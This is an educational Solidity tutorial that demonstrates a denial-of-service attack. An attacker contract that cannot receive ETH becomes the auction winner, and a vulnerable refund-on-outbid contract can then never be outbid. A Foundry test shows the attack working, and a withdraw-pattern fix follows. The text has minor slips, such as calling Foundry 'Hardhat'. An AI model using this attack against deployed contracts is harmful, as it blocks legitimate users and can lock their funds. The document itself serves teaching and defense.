️ Deny users from accessing a smart contract

A Denial of Service (DOS) attack is a type of attack that is designed to disable, shut down, or disrupt a network, website, or service. Essentially it means that the attacker somehow can prevent regular users from accessing the network, website, or service therefore denying them service. This is a very common attack which we all know about in web2 as well but today we will try to imitate a Denial of Service attack on a smart contract
Overview
There will be two smart contracts - Good.sol and Attack.sol. Good.sol will be used to run a sample auction where it will have a function in which the current user can become the current winner of the auction by sending Good.sol higher amount of ETH than was sent by the previous winner. After the winner is replaced, the old winner is sent back the money which he initially sent to the contract.
Attack.sol will attack in such a manner that after becoming the current winner of the auction, it will not allow anyone else to replace it even if the address trying to win is willing to put in more ETH. Thus Attack.sol will bring Good.sol under a DOS attack because after it becomes the winner, it will deny the ability for any other address to becomes the winner.
⚒️ Build
Setting up Foundry
To start the project, open up your terminal and create a new project directory.
mkdir denial-of-service
Let's start by setting up Hardhat inside the denial-of-service directory.
cd denial-of-service
forge init .
Write the Smart Contracts
Let's create the auction contract, named Good.sol, with the following code.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
contract Good {
address public currentWinner;
uint public currentAuctionPrice;
constructor() {
currentWinner = msg.sender;
}
function setCurrentAuctionPrice() public payable {
require(msg.value > currentAuctionPrice, "Need to pay more than the currentAuctionPrice");
(bool sent, ) = currentWinner.call{value: currentAuctionPrice}("");
if (sent) {
currentAuctionPrice = msg.value;
currentWinner = msg.sender;
}
}
}
This is a pretty basic contract which stores the address of the last highest bidder, and the value that they bid. Anyone can call setCurrentAuctionPrice and send more ETH than currentAuctionPrice, which will first attempt to send the last bidder their ETH back, and then set the transaction caller as the new highest bidder with their ETH value.
Now, create a contract named Attack.sol within the contracts directory and write the following lines of code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
import "./Good.sol";
contract Attack {
Good good;
constructor(address _good) {
good = Good(_good);
}
function attack() public payable {
good.setCurrentAuctionPrice{value: msg.value}();
}
}
This contract has a function called attack(), that just calls setCurrentAuctionPrice on the Good contract. Note, however, this contract does not have a fallback() function where it can receive ETH. More on this later.
Writing the Test
Let's create an attack that will cause the Good contract to become unusable. Create a new file under test folder named Attack.t.sol and add the following lines of code to it
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
import {Test} from "forge-std/Test.sol";
import {Attack} from "../src/Attack.sol";
import {Good} from "../src/Good.sol";
import {console} from "forge-std/console.sol";
contract AttackTester is Test {
//declare a variable for holding instances of our contracts
Good public goodContract;
Attack public attackContract;
function setUp() public {
// Deploy the Good Contract using a dummy account
vm.prank(vm.addr(420));
goodContract = new Good();
//Deploy the Attack Contract
attackContract = new Attack(address(goodContract));
}
function test_attack() public {
// Get two addresses using their private keys
address address1= vm.addr(1);
address address2= vm.addr(2);
//add funds to the addresses
deal(address1, 100 ether);
deal(address2, 100 ether);
//Initially let address1 become the current winner of the auction
//impersonate address1 for sending a transaction to the Good Contract
vm.prank(address1);
goodContract.setCurrentAuctionPrice{value: 1 ether}();
// Start the attack and make Attack.sol the current winner of the auction
attackContract.attack{value: 3 ether}();
// Now let's try making address2 the current winner of the auction
vm.prank(address2);
goodContract.setCurrentAuctionPrice{value: 4 ether}();
// Balance of the Game Contract should be equal 0
assertEq(goodContract.currentWinner(), address(attackContract));
}
}
Notice how Attack.sol will lead Good.sol into a DOS attack. First address1 will become the current winner by calling setCurrentAuctionPrice on Good.sol then Attack.sol will become the current winner by sending more ETH than address1 using the attack function. Now when address2 will try to become the new winner, it won't be able to do that because of this check(if (sent)) present in the Good.sol contract which verifies that the current winner should only be changed if the ETH is sent back to the previous current winner.
Since Attack.sol doesn't have a fallback function which is necessary to accept ETH payments, sent is always false and thus the current winner is never updated and address2 can never become the current winner
Test the attack
To run the test, in your terminal pointing to the root directory of this level execute the following command
forge test
When the tests pass, you will notice that the Good.sol is now under DOS attack because after Attack.sol becomes the current winner, on other address can becomes the current winner.
Prevention
You can create a separate withdraw function for the previous winners.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
contract Good {
address public currentWinner;
uint public currentAuctionPrice;
mapping(address => uint) public balances;
constructor() {
currentWinner = msg.sender;
}
function setCurrentAuctionPrice() public payable {
require(msg.value > currentAuctionPrice, "Need to pay more than the currentAuctionPrice");
balances[currentWinner] += currentAuctionPrice;
currentAuctionPrice = msg.value;
currentWinner = msg.sender;
}
function withdraw() public {
require(msg.sender != currentWinner, "Current winner cannot withdraw");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
Conclusion
Hope you learnt something from this post.
If you have any questions or feel stuck or just want to say Hi, call me anytime!
Thanks